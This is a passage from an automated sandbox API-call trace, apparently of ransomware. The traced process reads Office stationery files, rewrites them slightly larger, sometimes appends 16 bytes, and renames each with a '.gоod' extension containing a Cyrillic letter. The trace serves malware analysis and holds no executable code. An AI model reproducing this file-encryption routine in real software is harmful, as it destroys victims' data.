lpOldMode=0x200ec890) returned 1 [0190.336] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.htm"), fInfoLevelId=0x0, lpFileInformation=0x37f8588 | out: lpFileInformation=0x37f8588*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dc)) returned 1 [0190.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0190.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM", lpFilePart=0x0) returned 0x43 [0190.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0190.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0190.337] GetFileType (hFile=0x81c) returned 0x1 [0190.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0190.338] GetFileType (hFile=0x81c) returned 0x1 [0190.338] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1dc [0190.338] ReadFile (in: hFile=0x81c, lpBuffer=0x37f8a00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x37f8a00*, lpNumberOfBytesRead=0x200ec818*=0x1dc, lpOverlapped=0x0) returned 1 [0190.339] CloseHandle (hObject=0x81c) returned 1 [0190.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0190.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0190.380] GetFileType (hFile=0x81c) returned 0x1 [0190.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0190.380] GetFileType (hFile=0x81c) returned 0x1 [0190.380] WriteFile (in: hFile=0x81c, lpBuffer=0x3870770*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3870770*, lpNumberOfBytesWritten=0x200ec728*=0x1e0, lpOverlapped=0x0) returned 1 [0190.381] CloseHandle (hObject=0x81c) returned 1 [0190.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM", lpFilePart=0x0) returned 0x43 [0190.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM.gоod", lpFilePart=0x0) returned 0x48 [0190.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0190.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6daf85c8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0190.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0190.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PAWPRINT.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pawprint.htm.gоod")) returned 1 [0190.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", lpFilePart=0x0) returned 0x43 [0190.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0190.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.htm"), fInfoLevelId=0x0, lpFileInformation=0x38719f8 | out: lpFileInformation=0x38719f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e9)) returned 1 [0191.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0192.836] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", lpFilePart=0x0) returned 0x43 [0192.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0192.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0192.837] GetFileType (hFile=0x818) returned 0x1 [0192.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0192.837] GetFileType (hFile=0x818) returned 0x1 [0192.837] GetFileSize (in: hFile=0x818, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1e9 [0192.837] ReadFile (in: hFile=0x818, lpBuffer=0x3645c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3645c50*, lpNumberOfBytesRead=0x200ec818*=0x1e9, lpOverlapped=0x0) returned 1 [0192.838] CloseHandle (hObject=0x818) returned 1 [0193.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", lpFilePart=0x0) returned 0x43 [0193.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0193.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0193.018] GetFileType (hFile=0x818) returned 0x1 [0193.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0193.018] GetFileType (hFile=0x818) returned 0x1 [0193.018] WriteFile (in: hFile=0x818, lpBuffer=0x34e6838*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x34e6838*, lpNumberOfBytesWritten=0x200ec728*=0x1f0, lpOverlapped=0x0) returned 1 [0193.019] CloseHandle (hObject=0x818) returned 1 [0193.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM", lpFilePart=0x0) returned 0x43 [0193.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM.gоod", lpFilePart=0x0) returned 0x48 [0193.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0193.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f4271fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1 [0193.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0193.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.htm.gоod")) returned 1 [0193.022] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", lpFilePart=0x0) returned 0x43 [0193.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0193.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.jpg"), fInfoLevelId=0x0, lpFileInformation=0x34e7ac0 | out: lpFileInformation=0x34e7ac0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf8d)) returned 1 [0193.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0193.023] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", lpFilePart=0x0) returned 0x43 [0193.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0193.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0193.023] GetFileType (hFile=0x818) returned 0x1 [0193.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0193.023] GetFileType (hFile=0x818) returned 0x1 [0193.023] GetFileSize (in: hFile=0x818, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xf8d [0193.023] ReadFile (in: hFile=0x818, lpBuffer=0x34e8ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34e8ce8*, lpNumberOfBytesRead=0x200ec818*=0xf8d, lpOverlapped=0x0) returned 1 [0193.024] CloseHandle (hObject=0x818) returned 1 [0193.615] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", lpFilePart=0x0) returned 0x43 [0193.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0193.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x83c [0193.616] GetFileType (hFile=0x83c) returned 0x1 [0193.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0193.616] GetFileType (hFile=0x83c) returned 0x1 [0193.616] WriteFile (in: hFile=0x83c, lpBuffer=0x3661560*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3661560*, lpNumberOfBytesWritten=0x200ec728*=0xf90, lpOverlapped=0x0) returned 1 [0193.617] CloseHandle (hObject=0x83c) returned 1 [0193.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG", lpFilePart=0x0) returned 0x43 [0193.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG.gоod", lpFilePart=0x0) returned 0x48 [0193.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0193.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.jpg"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f9d0ce7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf90)) returned 1 [0193.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0193.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\PINELUMB.JPG.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\pinelumb.jpg.gоod")) returned 1 [0193.625] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", lpFilePart=0x0) returned 0x43 [0193.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0193.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.htm"), fInfoLevelId=0x0, lpFileInformation=0x36627e8 | out: lpFileInformation=0x36627e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fd)) returned 1 [0193.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0193.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", lpFilePart=0x0) returned 0x43 [0193.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0193.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x83c [0193.626] GetFileType (hFile=0x83c) returned 0x1 [0193.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0193.626] GetFileType (hFile=0x83c) returned 0x1 [0193.626] GetFileSize (in: hFile=0x83c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x1fd [0193.626] ReadFile (in: hFile=0x83c, lpBuffer=0x3662c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3662c80*, lpNumberOfBytesRead=0x200ec818*=0x1fd, lpOverlapped=0x0) returned 1 [0193.627] CloseHandle (hObject=0x83c) returned 1 [0193.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", lpFilePart=0x0) returned 0x43 [0193.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0193.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0193.869] GetFileType (hFile=0x838) returned 0x1 [0193.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0193.869] GetFileType (hFile=0x838) returned 0x1 [0193.869] WriteFile (in: hFile=0x838, lpBuffer=0x35772a8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x35772a8*, lpNumberOfBytesWritten=0x200ec728*=0x200, lpOverlapped=0x0) returned 1 [0193.870] CloseHandle (hObject=0x838) returned 1 [0193.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM", lpFilePart=0x0) returned 0x43 [0193.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM.gоod", lpFilePart=0x0) returned 0x48 [0193.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0193.870] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.htm"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6fc3b586, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x200)) returned 1 [0193.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0193.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.HTM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.htm.gоod")) returned 1 [0193.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", lpFilePart=0x0) returned 0x43 [0193.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0193.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x3578530 | out: lpFileInformation=0x3578530*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb54adf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1889)) returned 1 [0193.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0193.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", lpFilePart=0x0) returned 0x43 [0193.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0193.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0193.872] GetFileType (hFile=0x838) returned 0x1 [0193.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0193.872] GetFileType (hFile=0x838) returned 0x1 [0193.872] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0193.872] ReadFile (in: hFile=0x838, lpBuffer=0x3578938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3578938*, lpNumberOfBytesRead=0x200ec8b8*=0x889, lpOverlapped=0x0) returned 1 [0194.716] CloseHandle (hObject=0x838) returned 1 [0194.977] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", lpFilePart=0x0) returned 0x43 [0194.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0194.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0194.977] GetFileType (hFile=0x838) returned 0x1 [0194.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0194.994] GetFileType (hFile=0x838) returned 0x1 [0194.994] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1889 [0194.995] WriteFile (in: hFile=0x838, lpBuffer=0x36819c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x36819c0*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0195.012] CloseHandle (hObject=0x838) returned 1 [0195.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG", lpFilePart=0x0) returned 0x43 [0195.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0195.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\seamarbl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.012] GetFileType (hFile=0x838) returned 0x1 [0195.012] SetThreadErrorMode (dwNewMode=0x0, 